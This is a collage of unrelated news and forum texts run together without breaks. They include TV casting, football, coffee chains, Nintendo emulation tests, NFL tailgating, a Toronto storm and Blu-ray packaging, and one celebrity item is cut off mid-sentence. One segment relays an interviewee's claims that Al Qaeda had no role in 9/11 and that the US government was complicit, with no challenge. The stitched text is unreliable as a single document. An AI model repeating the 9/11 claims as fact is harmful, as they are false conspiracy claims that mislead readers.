High Sparrow “The books’ pious head of a religious movement will be appearing in several episodes in season 5.” Septa Unella “The show is looking for a character actress to play the imposing and unrelenting septa who spends a lot of time with a major series character next year.” Maggy the Frog “A fortune teller in A Feast for Crows, she’ll be in one episode next year.” Lollys Stokeworth “In ‘Mockingbird,’ Bronn announced his intention to marry Lollys, whom Tyrion considers ‘dimwitted.’ It looks like the sellsword will still be around next year.” Yezzan “A sleazy Meereenese slave owner.” The Waif “The strange child from the books that Arya encounters will likely be played by an older actress, one in her later teens, and we understand the show is specifically looking for a woman of East Asian descent for the part.”
Exit Theatre Mode
Matt Fowler is a writer for IGN. Follow him on Twitter at @TheMattFowler and Facebook at Facebook.com/Showrenity.Mathieu Flamini admits that returning to Arsenal feels like “being back home”.
The combative midfielder rejoined the Club last week and made his second debut in Sunday’s north London derby victory against Tottenham.
The 29-year-old earned widespread praise for his all-action display and he says he has slotted seamlessly back into life at Arsenal.
"It was my first game and I wanted to show everyone how committed I am, how I am ready to give everything on the pitch. I hope everyone saw it" Mathieu Flamini
“I really have the sensation of being back home,” Flamini told Arsenal Player. “Playing against Tottenham in a big derby, it was a great emotion, a great feeling.
“Playing against Tottenham is never easy but it is special for the Club, for the fans and for the players. Of course, for me it was my first game and I wanted to show everyone how committed I am to this club, how I am ready to give everything on the pitch. I hope everyone saw it; I really did my best when I came on.
“I have heard it a lot [that it is like I have never been away]. I feel like I never left. There are players I played with before, and even staff, there are a lot of people still here that I knew before and the [relationship] with the fans was just amazing. I just want to thank everyone for the nice atmosphere on Sunday. It was great.”
Flamini has been joined in the Arsenal squad by Mesut Ozil and Emiliano Viviano, and he believes all the raw materials are in place for a successful season.
“The quality is very high in this team and at this club,” he said. “That is the most important thing, to have players of quality because that makes a difference.
“The team spirit is also very good, and we saw on Sunday that everyone was helping each other on the pitch. That makes a difference in the big games.”9/11 verdict is 'US propaganda for waging war on Iran'
A US court has won a default judgement that Iranian officials, including its supreme leader, Ayatollah Ali Khamenei, provided help to the 9/11 hijackers behind the worst terror attack on American soil. The lawsuit was filed by the families of the atrocity's victims. There was no Iranian representation in court. RT talks to Michel Chossudovsky, Director of the Center for Research on Globalization.
http://youtu.be/uGHdePe4GZM
Director of the Center for Research on Globalization Michel Chossudovsky has told RT that calling Iran’s officials - including the supreme leader - guilty of helping the 9/11 attackers is nothing but “a ploy.”
On Thursday, families of victims of the September 11th 2001 attacks won a default judgment against Iran, the Taliban, Al-Qaeda and Lebanon-based Hezbollah. According to the lawsuit, people in Iran – including Ayatollah Ali Khamenei- provided support to the terrorists who went on to attack civilians on US soil.But Mr. Chossudovsky told RT he believes it’s nothing but a cover-up, with Iran as a convenient fall guy.
“There is absolutely no evidence that Iran aided the 9/11 attacks. There is ample evidence after collection that there was conspiracy and the complicity of the US government…There is absolutely no evidence that Al Qaeda or the Taliban were involved in the 9/11 attacks. In fact, if there is anyone behind Al Qaeda, it was the Central Intelligence Agency, going back to the Soviet Afghan war”, Chossudovsky said.
And this latest court ruling is part of the plan, according to Chossudovsky. “We are dealing with fabrications whereby a war agenda, which has been on the Pentagon’s drawing board for many years, is now seeking justification to go live – and we’ve seen the drone attacks, we’ve seen the sanctions.”
But why would the United States get involved in such a long-running, costly, dangerous ploy? The answer, according to the Canadian analyst, is simple.
“Because Iran has 10 per cent of the world’s oil reserves – four or five times the amount of the United States; it’s in a crucial region, it doesn’t accept US hegemony and it’s an ally of Russia and China.”
However, Chossudovsky told RT, the consequences of such a move could be disastrous. “It could unleash a war which extends from the eastern Mediterranean right through to Central Asia to the Chinese border – and then we are in a World War III scenario.”
Iran, Hezbollah Also Responsible for 9/11, Rules Federal JudgeA barista brews coffee at a Blue Bottle Coffee shop in Tokyo. AP Photo/Shuji Kajiyama TOKYO (AP) — Japan, famous for green tea, is welcoming artisanal American coffee roaster Blue Bottle with long lines that have at times meant a four-hour wait for a cup.
The company, which began in Oakland, California in 2002, hopes its early popularity is more than a passing fad. Japan's consumer culture is littered with manias for Western food imports: pancakes, popcorn, doughnuts, even Taco Bell.
Success in Japan is important for Blue Bottle, which operates 17 cafes in the San Francisco Bay area, New York and Los Angeles. Japan is its first foray outside of the U.S. Blue Bottle raised nearly $26 million last year to invest in expansion, including financing from Silicon Valley executives, setting the stage for a test of whether an artsy gourmet coffee chain can go big.
Founder James Freeman, a musician, was inspired by Japan's old-style "kissaten" coffee-shops: tiny dimly-lit establishments, with good music and a barista behind a wooden counter. Think places for quiet serious thinking and real drip coffee, not sweet, frivolous drinks.
"We care about every part of the coffee. We call it from seed to cup," said Saki Igawa, the business operations manager for Blue Bottle in Japan.
Attention to detail that dovetails with aspects of Japanese culture accounts for part of the coffee chain's early popularity. The spread of Starbucks internationally, which has created a cookie-cutter coffee culture that some people want to trade up from, is another factor. Blue Bottle is also benefiting from the image problems in Japan of fast food chains and highly processed foods.
This April 27, 2015 photo shows a shop of Blue Bottle Coffee Inc., in Tokyo. AP Photo/Shuji Kajiyama "It's a new era in eating out," said food industry consultant Jotaro Fujii who contends that Blue Bottle's arrival and the decline of McDonald's in Japan is part of a bigger trend of consumer interest in the safety and quality of the entire food supply chain.
McDonald's is suffering declining popularity in Japan, a problem exacerbated after plastic pieces, and even a tooth, was found in its food last year, setting off outrage among consumers.
Upscale burger chain Shake Shack, which started as a hot dog stand in New York, is expected to arrive in Japan soon, said Fujii.
Such chains, including Blue Bottle, are likely to aim for 50 or at most 100 outlets in Japan, not the thousands that fast-food eateries, such as McDonald's, has achieved here, he said.
Instead, they will focus on fortifying a brand image, which can lead to other kinds of lucrative businesses.
Although the prevalent image of Japan might be tea, it has long had plenty of affection for coffee.
Starbucks has been a hit since arriving in 1995. It now has more than 1,000 shops in Japan. Not a single prefecture (state) is without a Starbucks with one opening in holdout Tottori Prefecture this month — not surprisingly, welcomed with long lines.
In this April 27, 2015 photo, coffee beans are roasted by an employee of Blue Bottle Coffee Inc., at their coffee shop in Tokyo. Japan. AP Photo/Shuji Kajiyama Even convenience stores are serving freshly brewed coffee. Japan also invented "manga-kissa," or a cafe-cum-library, where you can curl up with a comic book and sip on coffee for hours.
Such newcomers have hammered the once omnipresent kissaten. Their numbers have dropped by half from the 1980s, or to 77,000 in 2009, according to a Japanese government study.
But Blue Bottle's popularity is part of a rediscovery of cafes serving carefully prepared, quality coffee, a trend already long evident in the U.S.
Blue Bottle's first Japan shop, which has a roaster, is in Kiyosumi, an older part of Tokyo, chosen because it reminded Freeman, the founder, of Oakland. It opened in February. The second shop, in a backstreet of Tokyo's fashionable Omotesando, opened in March.
A third, likely opening later this year in Tokyo's Daikanyama shopping area, will feature a menu that reflectsBlue Bottle's recent acquisition of San Francisco-based Tartine Bakery, which serves croissants, sandwiches and pastries.
Blends such as "Giant Steps," combining African and Indonesian-grown beans for a chocolate taste, sell for 450 yen ($3.75) a cup. A latte costs 520 yen ($4.30). Blue Bottle Coffee
On a recent day, the Blue Bottle shop in Kiyosumi, Tokyo, was filled with sunlight pouring through huge windows, the hum of a giant roaster, the fragrant aroma of fresh coffee and a crowd of people.
Takuya Nakagawa, a 39-year-old hairdresser, who came all the way from rural Toyama Prefecture (state), was impressed with the coffee's taste and the store's stylish stark decor. He bought granola and coffee beans as souvenir gifts.
"I just love the taste," he said. "This kind of place doesn't exist in Toyama."
True to its inspiration, Blue Bottle is learning from Japan, said Andrew Smith, 29, of San Francisco, a barista and one of three Americans who came to work for the chain in Japan.
"People here have different ways of conceptualizing about coffee so they taste things differently," Smith said.
"They are looking for different kinds of things in coffee. And that is a fun way to learn how everyone in the world perceives coffee differently."News of Nintendo's NX has taken the spotlight this week, with sources pointing to a mobile device that interfaces with a game dock for your HDTV. Inside, the NX is based on Nvidia's Tegra mobile technology. It's a big departure from the IBM PowerPC architecture of its last three machines, raising questions over how NX's compatibility with older games will be handled going forward.
Until now, Nintendo has been diligent in bringing a strong legacy of titles to each new platform. It began in earnest with the Wii, via the Virtual Console for NES, SNES and N64 titles - but also with true, native hardware support for GameCube titles. This ability to tap into past glories boiled down to a common through-line in technology, one that stubbornly persists to this day with Wii U. From Gekko to Broadway to Espresso, the trend of iterating on the same PowerPC core gave Nintendo a link to the past, each time boosting the chipset's clock speeds over the last, and by the end, adding multi-core support.
The shift to Nvidia's Tegra means that this form of native backward compatibility is no longer an option. It's a clean break in technology and one that's been 15 years in the running. The notion of a second internal processor for backward compatibility - as seen in PlayStation 2 and initial PS3 models - is also highly unlikely, bearing in mind the NX's portable, power efficient nature. So the bad news is that running library titles using original silicon is off the table, but there is another option. Tests we've run this week suggest that the Nvidia chipset may well have the horsepower to bring many of these titles to life on NX using a next-gen iteration of its Virtual Console emulation technology.
Effectively, pure emulation is the only viable solution. Whether NX ends up using the Tegra X1 or a newer, potentially Pascal-based X2, it's clear that the power is very much in hand to simulate these older machines. And we can demonstrate this to a certain extent right now, using the unofficial Dolphin emulator in its Android guise, running on Nvidia's Shield TV console. We tested a clutch of Nintendo's best games for GameCube and Wii, and came away impressed with the playback bearing in mind this version of the emulator's highly experimental nature. It's far from guaranteed this method will come to pass on NX, but as an initial proof of concept, these tests are compelling.
Could the NX run older games from the GameCube and Wii eras, entirely through emulation on Tegra technology? Tom investigates the options, in principle, with an Nvidia Shield TV running the Dolphin emulator for Android.
Our first test is Mario Sunshine; a 30fps game by design that gives a glowing first impression. After tinkering and swapping around with Dolphin builds (eventually landing on version 7599), we have this game running at playable speeds on the Nvidia Shield Android TV - with all its visuals intact. Of course, if Nintendo were to pursue the emulation route, we should expect much better results - it won't be using Android as the OS, it'll have better access to the core Tegra hardware and of course, it knows the original hardware inside and out.
However, in terms of showing the raw power of Tegra X1, the results are promising, and Mario Sunshine already runs between 22-30fps all the way through its opening levels. The original's cap at 30fps is enforced through emulation too, but it's worth noting that the use of Android OS in this case causes frame-time issues with this cap (fluctuating between 16.7ms and 50ms). However, outside of the busy Delfino square area, which accounts for its lowest drops, most gameplay sticks closely to that 30fps ceiling.
Encouragingly, there's very little in the way of a performance hit when playing at full 1080p, which barely clocks a 1fps difference compared to a native 480p run. It suggests we're more bottlenecked on the Nvidia Shield's CPU for when drops do occur, and in this case there's no real penalty to enjoying Mario Sunshine at full HD. Either way, early signs show the ballpark performance is already in place, if Nintendo wanted to pursue the emulation strategy.
Original GameCube hardware compared to Dolphin emulation on Android (here running at a native 480p, and also 1080p). The likes of Super Mario Sunshine and Mario Kart Double Dash benefit hugely in clarity with the resolution bump. Original GameCube hardware compared to Dolphin emulation on Android (here running at a native 480p, and also 1080p). The likes of Super Mario Sunshine and Mario Kart Double Dash benefit hugely in clarity with the resolution bump. Original GameCube hardware compared to Dolphin emulation on Android (here running at a native 480p, and also 1080p). The likes of Super Mario Sunshine and Mario Kart Double Dash benefit hugely in clarity with the resolution bump. Original GameCube hardware compared to Dolphin emulation on Android (here running at a native 480p, and also 1080p). The likes of Super Mario Sunshine and Mario Kart Double Dash benefit hugely in clarity with the resolution bump. Original GameCube hardware compared to Dolphin emulation on Android (here running at a native 480p, and also 1080p). The likes of Super Mario Sunshine and Mario Kart Double Dash benefit hugely in clarity with the resolution bump.
As an emulation proof of concept, it's a great result, showing Nintendo has scope to improve visuals too with art styles in both Mario Sunshine and Luigi's Mansion holding up beautifully at 1080p. However, whether or not it's technically possible, this res bump is unlikely to happen in an official capacity, given Nintendo's reticence in changing the original resolutions and frame-rates of older games. Based on previous experiences with its Virtual Console, we're more likely to see GameCube games run at a plain, native 480p, should they ever be revisited on NX.
Next up, we push the boat out on the Tegra X1 with a full 60fps title: Mario Kart Double Dash. In its original GameCube form this rarely misses a beat, while our emulated Tegra X1 test gets us within the region of the original's performance, at around 50fps. It's a gap we could see Nintendo bridge on NX with all the additional advantages it has available in terms of hardware access, but when it comes to 1080p performance, this is where we do see a clear GPU-side bottleneck. In that case we're lucky to hold 30fps, and as gameplay actually slows with the frame-rate, the game is unplayable at full HD.
As a test case, Double Dash runs well enough on the Shield Android TV at native res to prove the point. Even with an unofficial emulator, it reveals it's within the grasp of Nintendo's newer machine, even in the scenario that it uses a Tegra X1. However, these are games from three generations prior to its intended hardware, leading us to wonder how Wii titles could fare. In moving to Wii emulation on the Shield TV, we had far more trouble getting games to work properly, with more crashes and bugs en route. And there's also the fact that more is being asked of the emulator - while based on the same architecture, the Wii's CPU and GPU both saw a 50 per cent increase in clocks compared to its predecessor.
Likewise for Wii titles, the move to 1080p via emulation flatters the art style of games like New Super Mario Bros and Mario Kart. While the lens flare effect is lost in the latter, even native 480p emulation looks sharper than original hardware. Likewise for Wii titles, the move to 1080p via emulation flatters the art style of games like New Super Mario Bros and Mario Kart. While the lens flare effect is lost in the latter, even native 480p emulation looks sharper than original hardware. Likewise for Wii titles, the move to 1080p via emulation flatters the art style of games like New Super Mario Bros and Mario Kart. While the lens flare effect is lost in the latter, even native 480p emulation looks sharper than original hardware. Likewise for Wii titles, the move to 1080p via emulation flatters the art style of games like New Super Mario Bros and Mario Kart. While the lens flare effect is lost in the latter, even native 480p emulation looks sharper than original hardware.
Despite the technical issues, we did break through with a brace of titles. The first is New Super Mario Bros for Wii., a visually simplistic title overall, but one where single-player gets close to the 60fps line occupied by the original Wii. But with four characters on screen, the game does starts to struggle on the Tegra X1, at around 40 to 50fps across the board. Much like Mario Sunshine though, the resolution really doesn't matter in playback this time - you can have it set at native 480p or 1080p, and it still gives the same ballpark values.
As an early indication it's promising. If the Tegra X1 is this close to playing Wii games at 60fps without any official involvement, there's a case to be made Nintendo can make it work to a higher standard for NX. We had a shot at running the more demanding Mario Kart for Wii as well, but with less favourable 20-40fps returns in that case. Ultimately though, getting any of these titles running on a Shield TV involves lots of trial and error with Dolphin builds, demonstrating the experimental, work-in-progress nature of the emulator.
eSports already has a doping problem 'There is plenty of evidence that it can cause brain damage'
Of course, any potential 'next-gen' Virtual Console emulator for Wii and GameCube would be built from the ground up by Nintendo itself, more fully exploiting the Tegra hardware, and designed with a far greater understanding of the original consoles. Factoring all that in, we'd say that there's a very good chance that, while the hardware link all the way back to the 2001 GameCube technology might finally have been severed, Nintendo still has the raw horsepower available to bring Wii and GC games to NX.
As for support of Wii U games, we'll have to see what unfolds when Nintendo announces the NX in full. In theory, porting the best of Wii U's catalogue may be a better option than trying to emulate that machine outright - a more complex multi-core console than its predecessors, made trickier by its Radeon GPU - not to mention its GamePad component. Enhanced NX ports of games like Super Smash Bros for Wii U, Mario Maker and Splatoon may be the solution here - fresh versions for a new generation, giving each more exposure than they received at first.Barstool Sports released a documentary on Bills tailgating Tuesday, simply titled, "#BillsMafia." Here are five takeaways from the nine-and-a-half minute video:
(Note: We can't share the video here for obvious reasons, but it's on Barstool's Twitter page if you're interested. It definitely qualifies as "not safe for work.")
1. If the Bills are serious about wanting to curtail tailgating theatrics, winning some games would help.
The most poignant scene in the documentary came at the 5-minute mark, after the narrator introduced the Bills' record 17-year playoff drought.
"The problem with the Bills," one fan said, "I mean, we love 'em, but the product on the field's obviously sucked for years. So we have our fun with the tailgate, and that's how it all started."
That quote was spot-on. I spent two years doing Tailgate Reports for the News, meeting fans in the parking lots and fields around the stadium for hours before every game. The overwhelming sentiment I gathered from hard-partying tailgaters was this: Taking a few hours out of your weekend to root on your sports team is supposed to be an escape from the problems you'll be returning to on Monday. But since the games usually add to fans' misery instead of relieving it, tailgates became the new coping mechanism instead.
In short, Bills fans needed a distraction from their distraction – and it came conveniently at the same source as the first one.
Fans now make tailgating the highlight of their weekend, since they feel the game probably won't be. And once viral videos started pouring in, it snowballed, with people trying to one-up each other and make websites like Deadspin or Barstool every week.
Word is the Bills are aghast at the repeated tailgate stunts (which, for the record, often occur on privately owned land and not Bills-owned lots), but the root of the problem seemed to be that the games themselves don't get it done for a significant number of fans. That doesn't excuse any behavior, but what I gathered from the lots was that the pregame wouldn't be nearly as intense if the team was less of a letdown on the field. There's always going to be drinking outside of every NFL stadium, but only one city's antics have a documentary on Barstool.
2. On the other hand... this is all going away if/when the Bills move to a downtown stadium.
News reporter Tim Graham tweeted this after watching the documentary, and I had the exact same thought:
The Barstool Sports video should be titled "Why Bills Fans Won't Have Tailgating When The New Stadium Gets Built." — Tim Graham (@ByTimGraham) June 20, 2017
There are still plenty of hurdles to the Bills moving downtown, and New Era Field just finished some expensive renovations, but moving to a shiny new stadium at some point just feels like it's the NFL way (right after they threaten relocation unless taxpayers pony up a couple hundred million dollars, of course). The Pegulas are buying up property downtown, seemingly for legitimate enterprises so far, but the stadium idea is never far from our minds. A downtown stadium would be the end of tailgating as Bills fans know it.
3. "Bills Mafia" doesn't mean drunken stunts.
I get that the moniker is a calling card for Bills fans, and many viral tailgate videos are simply tagged #BillsMafia, but it's worth mentioning that the story behind the group has nothing to tailgating stunts.
The official Bills Mafia account made sure to point that out Tuesday shortly after the Barstool video came out. Read the story in the tweet to learn more about Stevie Johnson and the origins of the group. The piece was written for the News by Janine Talley, wife of Bills legend Darryl Talley.
For a hashtag that's become larger and more expansive than ever anticipated, the story of its genesis: https://t.co/iVLb3z8o7e #BillsMafia — Buffalo FAMbase (@TheBillsMafia) June 20, 2017
4. About those guys who threw something onto the field...
The documentary spent one segment with two Bills fans who threw a sex toy onto the field during the Bills-Patriots game in November (and Barstool even interviewed their mother, bless her heart).
So from the Actions Have Consequences Department, a reminder that the throwers were later caught and given lifetime bans from New Era Field and every other NFL stadium. (How they enforce that, I have no idea.)
5. Putting aside the Not Safe For Work-ness of the video, it was pretty well done.
Spencer German of 105.5 The Team in Rochester tweeted this after watching the documentary:
I'll say this, Barstool has a future in documentaries. — Spencer T. German (@Spencito_) June 20, 2017
... and he was right. In fact, a marketing firm for Barstool says the website will roll out four more documentaries over the next six months (not all about the Bills, thank goodness).
So if you liked "#BillsMafia," you're in luck – there's more where that came from.Matt Lauer’s firing over ‘inappropriate behavior’ shocked everyone – except Kathy Griffin. The comedian claimed the ex-‘Today’ host was ‘on my list for a while.’
So long, Matt Lauer. The 59-year-old news anchor was terminated from NBC on Nov. 29, after the network received a detailed complaint about “inappropriate sexual behavior.” This sudden development left many people shook, but not Kathy Griffin, 57. “Matt Lauer has been on my list for a while,” she tweeted shortly after the news broke. “It’s really too bad more Americans don’t come to my shows. I pretty much recite the list in every show. Haha. I told you, my memory is long, my friends. I’ve been around a long time…”
First off, Kathy has a list? And she recites it in her show? Kathy said on Nov. 28 that she had a show “tomorrow night” in Reykjavík, Iceland. Is there a chance that she could jump on a plane to maybe reveal this list on American soil? “I WISH,” she tweeted in response to someone asking her to return to the U.S. circuit. “They’re still all too scared. To do a successful American tour, I would have to be allowed back on all of these talkshows where I am currently banned. Like the Today show. Ironic isn’t it? I’m soooooo toxic and dangerous;)”
Kathy’s claim of knowing about Matt’s history of alleged sexual assault — possibly including one incident of alleged misconduct during the Sochi 2014 Olympics (the initial report listed it as Rio, but was subsequently updated) – was backed up by an Australian fan. “[Kathy] clocked him weeks ago in Melbourne…this man had a twenty plus year history of sexual assault and inappropriate behaviour ignored by the system,” @ |
acos y la tecnología.I’m not a coder either, but I’m just applying logic based on what I hear, see and experience myself.
It appears that currently over 80% of the blocks in the blockchain are created by PoS mining and this is rising. This is different from the number of coins created by PoS which is way lower than PoW.
PoS blocks have a difficulty which always wins from a PoW block when both compete, but there seems to be a mechanism that PoW miners still get a block, but the percentage seems to be slowly reducing somehow.
The other part is as you say, difficulty factor goes up and PPC mining reward goes down when more mining power is applied. So there should be a bit of balance disregarding the mining power applied. However over time the block rewards reduce further. Combining this with less PoW versus PoS blocks the inflation is likely to continue to decrease. However it’s likely that the PoS awards per block will go up on average when people save their coins for 30d+ consistently. Having said this I’m still puzzled by the precise relation between the PoS and PoW generation as I also don’t understand the code behind it.
My previous statement in this thread regarding remaining inflation is indeed not necessarily true. Most or all of the 1% interest would be offset by destructed transactions fees. Only the PoW mining could still create some inflation on top of that.
I’m still hoping that someone can present the Peercoin economic model of the PoS/PoW generation including the reference to the code on how this works when you play with variables like increasing difficulty for PoS and/or PoW, increasing coindays at stake (online), number of transactions etc. Would be a good one for a graduate or a coder with good understanding of economics.On April 16, 2013 Wu-Tang Clan’s DJ Mathematics will release The Answer—an album that serves as the follow up to his 2005 album, The Problem. In anticipation of the full length project, Mathematics has offered “Prelude To The Answer” as a free mixtape download.
“I’m excited about the album and can’t wait for it to drop,” Mathematics offered via written statement. “I put a lot of time, sweat and energy into this project and hope that overall my musical growth and development reflect in the finished product.”
With 2013 marking the 20 year anniversary of Wu-Tang Clan’s collective debut, Enter The Wu-Tang: 36 Chambers, fans are anticipating more new music. And rumors of a reunion album and tour have only increased the demand for all things Wu. As both DJ Mathematics and Ghostface Killah prepare for April releases, fans can expect more material from the Staten Island crew. You can stream the project below, and it is also available for purchase via DJ Mathematics’ Bandcamp page.
RELATED: Allah Mathematics Readies Wu-Massacre, Recalls Wu-Tang Clan MemoriesToronto’s wettest day in recorded history, which stranded commuters on flood-drenched roads and cut power to hundreds of thousands of homes, has raised alarm bells about the city’s readiness for intense storms that are expected to become more frequent. As of Tuesday night, about 70,000 homes still lacked power and subway service remained suspended between Jane and Kipling stations. GO Train lines were washed out in several areas, as crews scrambled to repair tracks damaged by flooding.
Monday’s rain storm, Toronto’s wettest day ever, caused this large sinkhole on Disco Rd. near Highway 427. The storm has sparked renewed debate about Toronto's aging infrastructure. ( Andrew Francis Wallace / Toronto Star )
But even as city staff were praised for working overnight to limit the damage, several at city hall — including Mayor Rob Ford — said the storm highlighted aging infrastructure in desperate need of overhaul. “If one big storm can shut down our transit system, create a power outage to over 300,000 customers and make the city virtually immovable, are we ready for when the outcome of climate change becomes even more a reality?” asked Councillor Josh Matlow. “Rather than address this question after the fact, or in reaction, we need to be proactive and budget accordingly,” he said.
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Monday’s storm dumped 126 millimetres of rain on the city, edging out Hurricane Hazel in 1954 for Toronto’s wettest day ever. Environmentalists say it is consistent with a city-commissioned report that predicts a sharp increase in extreme storms over the next 40 years. But the city’s transportation services manager, Stephen Buckley, said that while Toronto must prepare for climate change, it does not need to design its infrastructure for storms of that magnitude. “On a probability curve, this event was way off the charts,” Buckley said. “We don’t design systems to handle something of this size and magnitude... This is sort of an anomaly.” Many of Tuesday’s ongoing problems were caused by a flooded Hydro One transmission station in South Etobicoke, one of two in the city that were flooded Monday, causing 500,000 power outages at the storm’s peak. On Tuesday morning, more than 300,000 gallons of water — equivalent to 15 swimming pools — were removed from the station, which distributes energy to Toronto Hydro and Mississauga’s hydro company Enersource.
As crews worked around-the-clock to restore power to the station, Toronto Hydro was asked to “shed load” of about 200 megawatts and began implementing rotating power outages in four areas in the city’s west end. About 45,000 homes were without power due to the initial outage and another 25,000 were affected by rotating outages as of Tuesday night. Residents were also being asked to conserve energy.
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At a Tuesday morning press conference, Ford said the city’s infrastructure has been “neglected for years.” “There’s no doubt about it. We do need infrastructure. We just have to fund for it,” he said. The mayor also called for a review of the city’s emergency response procedures. He said the response was “satisfactory,” but that communications could be improved in the event of a blackout. “People that had basement flooding, people were panicking last night. Their hydro wasn’t coming on,” Ford said. “They needed answers.” City manager Joe Pennachetti confirmed he will conduct a detailed review of Monday’s response, but added the city has made progress since the devastating August 2005 storm that washed out part of Finch Ave. W. “It’s a testimony to what occurred in the last 12 hours. The city is up and running this morning,” Pennachetti said. “I think we have made major strides relative to all areas, including transportation, water and sewer, parks and recreation.” The damage from Monday’s storm could rival that caused in 2005, when severe wind and rain led to nearly $650 million in insurance payouts, said Peter Karageorgos of the Insurance Bureau of Canada. Karageorgos said insurance claims for flooded basements and cars have already begun to pour in. As of Tuesday afternoon, the city had received 1,748 basement flooding complaints. Toronto Water — which has the largest infrastructure renewal backlog of urban centres in Canada at $1.6 billion — has launched a study of 34 peak basement flooding areas and already installed new storm drainage in some. Michael D’Andrea, director of water infrastructure management, said it was not known how much sewage spilled into the lake. However, he said a $1.4 billion project to curb sewage discharges to the inner harbour and Lower Don River was already underway. The city has budgeted $75 million to deal with urban flooding in 2013, and $950 million over the next 10 years. As for TTC and GO Transit, both agencies said it was too early to say how much damage the storm had caused their infrastructure. A TTC spokesperson said its ongoing signal upgrades will help in future extreme weather events. Councillor Gord Perks, a member of the parks and environment committee, said it was Ford’s administration that has neglected storm infrastructure. In 2008, city staff began to implement a report called “Ahead of the Storm: Preparing Toronto for Climate Change,” which recommended building new water infrastructure, permeable roads and green roofs. That report has since been shelved, Perks said. “It’s clear we’re going to continue to get these storms more frequently due to climate change,” Perks said. “I think we’ve been knocked off plan, because the current administration viewed those as unnecessary expenses.” With files from Jane Gerster and Dana FlavelleAn off-the-cuff remark by Galen Weston at the Canadian Food Summit has enraged the farmers’ markets community and local food lovers. “Farmers’ markets are great...,” Weston said Tuesday during a speech to about 600 people at the Metro Toronto Convention Centre, but added: “One day they’re going to kill some people though.”
Galen Weston sparked outrage in farmers' market circles during his speech Tuesday at the Canadian Food Summit. ( TORONTO STAR / RENE JOHNSTON )
Weston is executive chairman of Loblaw Cos. Ltd, Canada’s largest food retailer, with more than 1,000 stores. He was talking about building a long-term vision for food in Canada and how to capitalize on the demand for local food. Food inspections are crucial, he insisted. Robert Chorney, the executive director of Farmers’ Markets Ontario, had to wait until the next session’s comment period for a chance to speak out.
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“We strenuously object” to Weston’s remark, he told the delegates. “That was awful.” Chorney later added: “What (Weston) said was really saddening. It really put a damper on the day for some of us.” Ontario’s 175 farmers’ markets do more than $700 million in sales every year. Markets are regularly inspected and food is easily traceable because consumers know who they’re buying from, said Chorney. The association says that four surveys since 1998 have shown that 83 per cent of respondents feel market food is as safe or safer than supermarket food. Weston’s comment set off a series of angry tweets under the hashtag #FS2012. “A question for Galen Weston Jr: Have you ever been to a farmers’ market?” tweeted Gail Gordon Oliver, publisher and editor of Edible Toronto. “Have you ever REALLY spoken to a farmer?” “Bold (and unfounded?!?) comment from Galen Weston: one day produce from farmers markets will kill us,” tweeted Sara Zborovski, a lawyer who focuses on regulatory and intellectual property issues in the food, beverage and pharmaceutical industries. The two-day summit is being put on by the Conference Board of Canada, and Loblaws is the top sponsor. The event attracted people from government, agri-businesses, farms and community food organizations.
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Some delegates whispered among themselves on coffee breaks that supermarkets sell most of the food that’s recalled by the Canadian Food Inspection Agency (CFIA). They reminded one another that it was Maple Leaf Foods and a Toronto meat plant — not a farmers’ market — that was at the centre of a 2008 listeria outbreak that left 23 people dead and led to a major recall. Bob Chant, Loblaw Cos.’s senior vice-president of corporate affairs, later elaborated on Weston’s “side comment,” stressing it was made in the context of food inspections. “The point is about food safety, not about whether farmers’ markets are good,” Chant said. “His thinking is that we need to make inspections happen throughout the entire system.” Farmers’ Markets Ontario works with Ontario’s 36 public health units, each of which has a “champion” responsible for markets. It has a food safety manual on its website. Toronto Public Health inspects farmers’ markets. The CFIA manages about 235 food recalls by manufacturers, importers, distributors and retailers each year. When the product poses a serious health risk, it issues a public warning. Spokesperson Guy Gravelle said the vast majority of recalls involve supermarkets and grocery stores, but the agency will investigate complaints linked to mom-and-pop shops and farmers’ markets. He didn’t have statistics available. Canadian food activist Anita Stewart, a farmers’ market enthusiast who has worked at a grassroots level and with government, said retail operations are heavily inspected and she was willing to cut Weston some slack for his comment. “I think his speech, by and large, was very eloquent and he has a lot to say,” Stewart said. “I think he just slipped up and I truly don’t believe that he meant it.” Arlene Stein is director of community programs for Evergreen Brick Works, which runs a year-round Saturday farmers’ market with about 80 vendors. She was sick and couldn’t attend the food summit, but noted that supermarkets like Loblaws are promoting their organic and “fresh local” lines. Her theory on Weston’s comment? “Farmers’ markets are the competition.” jbain@thestar.ca www.twitter.com/thesaucyladyMifuneFan Blu-ray Grand Duke
Top contributor Member since: Mar 2012 Location: New York City Blu-ray collection: 635 Trading Score: 59
Criterion Packaging: Clear case vs Digipak Update #2 :
They're finally here guys! Pro-B has posted pictures of the upcoming releases for L'Eclisse, and All that Heaven Allows, and both will feature the new 3-disc case. The cases are slightly thicker than the standard case, as you can see in a pic below. I'm so happy to see this become a reality. Our votes no doubt helped this happen (at least quicker than it would have), so I want to thank everyone once again for voicing your input here.
Credit to Pro-B for the first two pics, and Judex for the 3rd
-------------------------------------------------------------------------------------------------
[SIZE="3]Update #1[/SIZE]:
I'm extremely happy to announce that Scanavo has listened to our Feedback, and will be creating a 3-disc case coming out later this year
Thanks so much to everyone here who voiced their opinon about this. It's great to see a company listen, and build on that feedback so quickly
Quote: Hi Michael,
It's my pleasure to officially be able to inform you that we will be building a 3disc full-sleeve Blu-Ray case that will have room for a Criterion booklet. It will look like the current 2/1 case but with an extra disc hub under the booklet.
The case has been designed with form and function in mind and will stay true to the philosophy of allowing Criterion to display their beautiful artwork without the interruption of a Blu-Ray bar while maintaining our focus on quality and protection of the contents of the package.
We expect our cases to start appearing on retail shelves either in late spring or early summer 2014.
Thanks again for the great feedback. It's really a gift to have such enthusiastic fans be a part of the fabric of this movie community. You're the reason that we continue to be able to make beautiful cases and SteelBooks for the industry.
Very best,
Nick Coughlan
With the introduction of the Dual Format edition, Criterion has also increased the amount of digipaks they've released. Any release that has more than 2 discs will come in a digipak, or some other custom packaging. These cardboard packages are used because the standard clear cases made by Scanavo can only hold up to 2 discs.
I've seen so many people complaining about this in Criterion threads, and I wondered if anything could be done about it. I decided to contact Scanavo directly yesterday, and I received a promising response a few hours later:
Quote: My name is Nick Coughlan and I'm the Sales and Marketing Director for Scanavo Americas. I really appreciate your message.
It's fans like yourself who keep this industry in business.
I've worked with Criterion for a long time on bringing their current Scanavo cases to market and I continue to work with them, always hoping to come up with great new designs for cases that hold more discs etc.
For the purposes of my ongoing discussions at Criterion, is there a large percentage of their fan base that would like a new Scanavo case which can hold the 3rd and 4th discs?
Best,
Nick
I decided to create this thread to have a centralized place for people to voice their preferences. There are pros and cons to both of course, and it'd be great to hear what the community has to say. I've created a poll to make that easier as well.
For me personally, I like the plastic cases because:
-They're thinner, and thus take up less room
-They're less prone to damage
